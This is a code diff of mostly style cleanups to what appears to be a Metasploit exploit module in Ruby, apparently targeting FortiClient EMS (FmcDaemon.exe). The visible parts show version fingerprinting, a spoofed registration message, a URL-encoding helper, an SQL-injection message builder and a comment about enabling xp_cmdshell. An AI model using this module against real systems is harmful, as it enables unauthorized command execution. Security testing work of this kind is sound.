@@ -72,7 +72,7 @@ def initialize(info = {})
72
72
73
73
def get_register_info
74
74
if @version >= Rex ::Version . new ( '7.2' )
75
- vprint_status ( " Returning SYSINFO for 7.2 target" )
75
+ vprint_status ( ' Returning SYSINFO for 7.2 target' )
76
76
register_info = <<~REGISTER_INFO
77
77
FCTOS=WIN64
78
78
OSVER=Microsoft Windows 10 Professional Edition, 64-bit (build 19045)
@@ -123,7 +123,7 @@ def get_register_info
123
123
EP_APPCTRLCHKSUM=0
124
124
REGISTER_INFO
125
125
else
126
- vprint_status ( " Returning SYSINFO for 7.0 target" )
126
+ vprint_status ( ' Returning SYSINFO for 7.0 target' )
127
127
register_info = <<~REGISTER_INFO
128
128
AVSIG_VER=1.00000
129
129
REG_KEY=_
@@ -176,7 +176,7 @@ def get_register_info
176
176
Rex ::Text . encode_base64 ( register_info )
177
177
end
178
178
179
- def get_version
179
+ def get_version
180
180
message = "MSG_HEADER: FCTUID=CBE8FC122B1A46D18C3541E1A8EFF7BD\n "
181
181
message << "SIZE= {SIZE_PLACEHOLDER}\n "
182
182
message << "X-FCCK-PROBE: PROBE_FEATURE_BITMAP0|1|\n "
@@ -193,9 +193,9 @@ def get_version
193
193
# 7.0.7:
194
194
# FGT|FCTEMS0000125975:dc2.kerberos.issue|FEATURE_BITMAP|7|EMSVER|7000007|
195
195
if buf =~ /EMSVER\| (\d {2})(\d {2})(\d {3})\| /
196
- major = ( $1 . to_i / 10 )
197
- minor = $2 . to_i
198
- patch = $3 . to_i
196
+ major = ( :: Regexp . last_match ( 1 ) . to_i / 10 )
197
+ minor = :: Regexp . last_match ( 2 ) . to_i
198
+ patch = :: Regexp . last_match ( 3 ) . to_i
199
199
return Rex ::Version . new ( "#{ major } .#{ minor } .#{ patch } " )
200
200
end
201
201
nil
@@ -222,7 +222,6 @@ def get_message(sqli)
222
222
end
223
223
224
224
def send_message ( message )
225
-
226
225
vprint_status ( "Sending the following message:\n #{ message } " )
227
226
228
227
buf = ''
@@ -240,21 +239,20 @@ def send_message(message)
240
239
end
241
240
242
241
def check
243
-
244
242
@version = get_version
245
243
return CheckCode ::Unknown ( "#{ peer } - Version info was unable to be extracted from the target. FmcDaemon.exe might not be running." ) unless @version
246
244
247
245
if @version . between? ( Rex ::Version . new ( '7.2.0' ) , Rex ::Version . new ( '7.2.2' ) ) || @version . between? ( Rex ::Version . new ( '7.0.1' ) , Rex ::Version . new ( '7.0.10' ) )
248
246
return CheckCode ::Appears ( "Version detected: #{ @version } " )
249
247
end
248
+
250
249
CheckCode ::Safe ( "Version detected: #{ @version } " )
251
250
end
252
251
253
252
def fully_url_encode ( string )
254
253
string . chars . map { |char | '%' + char . ord . to_s ( 16 ) . upcase } . join
255
254
end
256
255
257
-
258
256
def exploit
259
257
# Things to note:
260
258
# 1. xp_cmdshell is disabled by default so we must enable it.
0 commit comments